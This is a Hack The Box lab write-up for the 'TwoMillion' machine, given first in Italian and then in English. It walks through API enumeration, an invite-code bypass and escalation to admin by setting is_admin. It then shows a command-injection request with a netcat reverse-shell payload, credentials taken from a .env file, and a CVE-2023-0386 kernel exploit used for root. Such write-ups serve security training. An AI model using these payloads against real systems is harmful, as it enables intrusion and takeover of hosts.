TwoMillion

Foothold

Intanto mappiamo l’IP della macchina con l’hostname twomillion.htb nel file /etc/hosts.

Dopo aver lanciato una scansione TCP si ottiene

# Nmap 7.94SVN scan initiated Fri Mar  7 11:52:10 2025 as: /usr/lib/nmap/nmap -sV -vv -oN tcp.txt twomillion.htb
Nmap scan report for twomillion.htb (10.10.11.221)
Host is up, received reset ttl 128 (0.016s latency).
Scanned at 2025-03-07 11:52:10 CET for 30s
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE  SERVICE REASON          VERSION
22/tcp   open   ssh     syn-ack ttl 128 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http    syn-ack ttl 128 nginx
801/tcp  closed device  reset ttl 128
1075/tcp closed rdrmshc reset ttl 128
5678/tcp closed rrac    reset ttl 128
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar  7 11:52:40 2025 -- 1 IP address (1 host up) scanned in 30.91 seconds

Questa è la home della web app alla porta 80 e navigando, si nota la sezione di login.

TwoMillion

Scorrendo la home, si ha la sezione [join]

TwoMillion

Cliccando su “Join HTB” si ottiene la suguente pagina

TwoMillion

Guardando lo snippet del codice sorgente della pagina, si nota che esiste una funzione che effettua una verifica del codice inserito e lo fa effettuando una chiamata API all’endpoint /api/v1/invite/verify. Successivamente se il codice è corretto, lo memorizza nel localstorage e rimanda alla pagina /register, dove esso verrà utilizzato.

TwoMillion

Andando nella sezione /register abbiamo questa visualizzazione

TwoMillion

Facendo un po’ di tentativi sull’invite code, sembrano tutti fallire.

Provando ad effetuare una richiesta all’endpoint /api/v1 per provare ad ottenere la lista delle api disponibili, viene restituito un 401 Unauthorized.

Pertanto si prova a fare l’enumeration di un’altra API che posso aiutarci a questo scopo.

L’enumeration viene fatta con il seguente comando, si effettuano chiamate POST all’endpoint /api/v1/invite, prendendo le azioni dalla wordlist e scarta tutte le richiesta che nel HTML contengono “404 - Not Found

ffuf -u http://2million.htb/api/v1/invite/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/actions-lowercase.txt -r -fr "404" -X POST

Si ottiene

TwoMillion

Ciò significa che esiste un altro endpoint che permette di effettuare un’altra azione. Quindi testando la chiamata su generate.

Richiesta

POST /api/v1/invite/generate HTTP/1.1
Host: 2million.htb
Content-Length: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://2million.htb
Referer: http://2million.htb/invite
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive

Risposta

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 09:21:39 GMT
Content-Type: application/json
Connection: keep-alive
Set-Cookie: PHPSESSID=3q4uv1b7us0vfi61k1tbdntcqf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 91

{
		"0":200,
		"success":1,
		"data":{
				 "code":"UzNSTjMtNFdRS1ktN1QzTzItOFg0VlQ=",
				 "format":"encoded"
		}
}

Come risposta si ottiene un codice codificato in base64. Decodificando il codice e testandolo sull’endpoint /verify, **si verifica che il codice è valido.

Si procede effettuando la registrazione di un account con il codice generato e decodificato.

Richiesta

POST /api/v1/user/register HTTP/1.1
Host: 2million.htb
Content-Length: 147
Cache-Control: max-age=0
Origin: http://2million.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/register
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=4trtgi8hpketi1965lkv9d02h0
Connection: keep-alive

code=S3RN3-4WQKY-7T3O2-8X4VT&username=user&email=user@2dgkwzysnfdwot8718h4n58vjmpdd61v.oastify.com&password=user&password_confirmation=user

Risposta

HTTP/1.1 302 Found
Server: nginx
Date: Tue, 01 Apr 2025 14:38:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login
Content-Length: 0

La location riporta alla login e provando ad effettuare l’accesso con

user@2dgkwzysnfdwot8718h4n58vjmpdd61v.oastify.com:user

Si ottiene

TwoMillion

Ora che abbiamo effettuato l’accesso ed ottenuto un cookie, si riprova ad eseguire la richiesta all’endpoint /api/v1

Richiesta

GET /api/v1 HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive

Risposta

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 10:06:49 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 800

{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

Si ottengono diverse API disponibili, in particolare, quelle interessanti sono quelle dell’admin.

Effettuando una PUT alla API /api/v1/admin/settings/update si ottiene come risposta

HTTP/1.1 200 OK
[...]

{
		"status":"danger",
		"message":"Missing parameter: email"
}

Provando ad aggiungere nel body

[...]
{
		"email" : "user@n4s5nkpde04hfezsst8peqzga7gy4tsi.oastify.com"
}

Si ottiene

HTTP/1.1 200 OK
[...]

{
		"status":"danger",
		"message":"Missing parameter: is_admin"
}

Fino ad ottenere una richiesta formata correttamente

[...]
{
		"email" : "user@n4s5nkpde04hfezsst8peqzga7gy4tsi.oastify.com",
		"is_admin" : 1
}

Risposta

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 40

{
		"id":13,
		"username":"user",
		"is_admin":1
}

A questo punto si hanno i permessi di amministratore e si può utilizzare l’altra API messa a diposizione /api/v1/admin/vpn/generate.

Giocando un po’ col parametro “username” nel JSON, si scopre essere presente una Command Injection. A questo punto ci mettiamo in ascolto sulla shell e lanciamo la seguente richiesta HTTP.

Richiesta

POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 57

{
"username":"user;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 9000 >/tmp/f"
}

Nella shell si ottiene

TwoMillion

Foothold ottenuto.

Lateral Movement

A questo punto bisogna fare un lateral movement e diventare l’utente “admin”, presente nella macchina, perché l’utente www-data non ha privilegi (viene usato il principio least-privilege).

Nella cartella dove ci si trova facendo un listing di tutti i file è presente un file nascosto .env e leggendo il contenuto di tale si ottengono delle credenziali

TwoMillion

Effettuando l’accesso in ssh con credenziali

admin:SuperDuperPass123

Si riesce ad effettuare il Lateral movement e prendiamo la flag user.txt.

Privilege Escalation

Cercando con linpeas.sh qualcosa di interessante, si nota l’accesso in lettura a questo file /var/mail/admin

TwoMillion

Cercando quindi per una vulnerabilità di OverlayFS / FUSE si trova la CVE-2023-0386 e utilizzando l’exploit qui presente https://github.com/sxlmnwb/CVE-2023-0386

Si lanciano i comandi, su due terminali differenti, che vengono mostrati nelle seguenti immagini

TwoMillion

TwoMillion

Ora prendiamo e inviamo la flag root.txt.

Foothold

First we map the machine’s IP to the hostname twomillion.htb in the /etc/hosts file.

After running a TCP scan we get

# Nmap 7.94SVN scan initiated Fri Mar  7 11:52:10 2025 as: /usr/lib/nmap/nmap -sV -vv -oN tcp.txt twomillion.htb
Nmap scan report for twomillion.htb (10.10.11.221)
Host is up, received reset ttl 128 (0.016s latency).
Scanned at 2025-03-07 11:52:10 CET for 30s
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE  SERVICE REASON          VERSION
22/tcp   open   ssh     syn-ack ttl 128 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open   http    syn-ack ttl 128 nginx
801/tcp  closed device  reset ttl 128
1075/tcp closed rdrmshc reset ttl 128
5678/tcp closed rrac    reset ttl 128
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar  7 11:52:40 2025 -- 1 IP address (1 host up) scanned in 30.91 seconds

This is the home page of the web app on port 80, and while browsing we notice the login section.

TwoMillion

Scrolling through the home page, there is the [join] section

TwoMillion

Clicking on “Join HTB” brings up the following page

TwoMillion

Looking at the snippet of the page’s source code, we notice that there is a function that verifies the entered code, and it does so by making an API call to the /api/v1/invite/verify endpoint. Then, if the code is correct, it stores it in localstorage and redirects to the /register page, where it will be used.

TwoMillion

Going to the /register section we get this view

TwoMillion

After a few attempts with the invite code, they all seem to fail.

Trying to make a request to the /api/v1 endpoint in order to obtain the list of available APIs returns a 401 Unauthorized.

Therefore we try to enumerate another API that can help us toward this goal.

The enumeration is done with the following command: we make POST calls to the /api/v1/invite endpoint, taking the actions from the wordlist and discarding all requests whose HTML contains “404 - Not Found

ffuf -u http://2million.htb/api/v1/invite/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/actions-lowercase.txt -r -fr "404" -X POST

We get

TwoMillion

This means there is another endpoint that allows us to perform another action. So we test the call on generate.

Request

POST /api/v1/invite/generate HTTP/1.1
Host: 2million.htb
Content-Length: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://2million.htb
Referer: http://2million.htb/invite
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 09:21:39 GMT
Content-Type: application/json
Connection: keep-alive
Set-Cookie: PHPSESSID=3q4uv1b7us0vfi61k1tbdntcqf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 91

{
		"0":200,
		"success":1,
		"data":{
				 "code":"UzNSTjMtNFdRS1ktN1QzTzItOFg0VlQ=",
				 "format":"encoded"
		}
}

As a response we get a base64-encoded code. Decoding the code and testing it on the /verify endpoint, **we confirm that the code is valid.

We proceed by registering an account with the generated and decoded code.

Request

POST /api/v1/user/register HTTP/1.1
Host: 2million.htb
Content-Length: 147
Cache-Control: max-age=0
Origin: http://2million.htb
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/register
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=4trtgi8hpketi1965lkv9d02h0
Connection: keep-alive

code=S3RN3-4WQKY-7T3O2-8X4VT&username=user&email=user@2dgkwzysnfdwot8718h4n58vjmpdd61v.oastify.com&password=user&password_confirmation=user

Response

HTTP/1.1 302 Found
Server: nginx
Date: Tue, 01 Apr 2025 14:38:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /login
Content-Length: 0

The location redirects to the login, and trying to log in with

user@2dgkwzysnfdwot8718h4n58vjmpdd61v.oastify.com:user

We get

TwoMillion

Now that we have logged in and obtained a cookie, we retry the request to the /api/v1 endpoint

Request

GET /api/v1 HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 10:06:49 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 800

{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

We get several available APIs; in particular, the interesting ones are the admin ones.

Making a PUT to the /api/v1/admin/settings/update API we get this response

HTTP/1.1 200 OK
[...]

{
		"status":"danger",
		"message":"Missing parameter: email"
}

Trying to add to the body

[...]
{
		"email" : "user@n4s5nkpde04hfezsst8peqzga7gy4tsi.oastify.com"
}

We get

HTTP/1.1 200 OK
[...]

{
		"status":"danger",
		"message":"Missing parameter: is_admin"
}

Until we obtain a correctly formed request

[...]
{
		"email" : "user@n4s5nkpde04hfezsst8peqzga7gy4tsi.oastify.com",
		"is_admin" : 1
}

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Apr 2025 12:36:42 GMT
Content-Type: application/json
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 40

{
		"id":13,
		"username":"user",
		"is_admin":1
}

At this point we have administrator privileges and we can use the other API made available, /api/v1/admin/vpn/generate.

Playing a bit with the “username” parameter in the JSON, we discover a Command Injection. At this point we set up a listener on the shell and send the following HTTP request.

Request

POST /api/v1/admin/vpn/generate HTTP/1.1
Host: 2million.htb
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/api/v1/user/vpn/
Accept-Encoding: gzip, deflate, br
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=d3bd49vhcemh5fta7uebptfatr
Connection: keep-alive
Content-Length: 57

{
"username":"user;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 9000 >/tmp/f"
}

On the shell we get

TwoMillion

Foothold obtained.

Lateral Movement

At this point we need to perform a lateral movement and become the “admin” user present on the machine, because the www-data user has no privileges (the least-privilege principle is used).

In the folder where we are, listing all files reveals a hidden file .env, and reading its contents we obtain some credentials

TwoMillion

Logging in via ssh with credentials

admin:SuperDuperPass123

We manage to perform the Lateral Movement and grab the user.txt flag.

Privilege Escalation

Searching with linpeas.sh for something interesting, we notice read access to this file /var/mail/admin

TwoMillion

Searching then for an OverlayFS / FUSE vulnerability, we find CVE-2023-0386 and use the exploit available here https://github.com/sxlmnwb/CVE-2023-0386

We run the commands, on two different terminals, shown in the following images

TwoMillion

TwoMillion

Now we grab and submit the root.txt flag.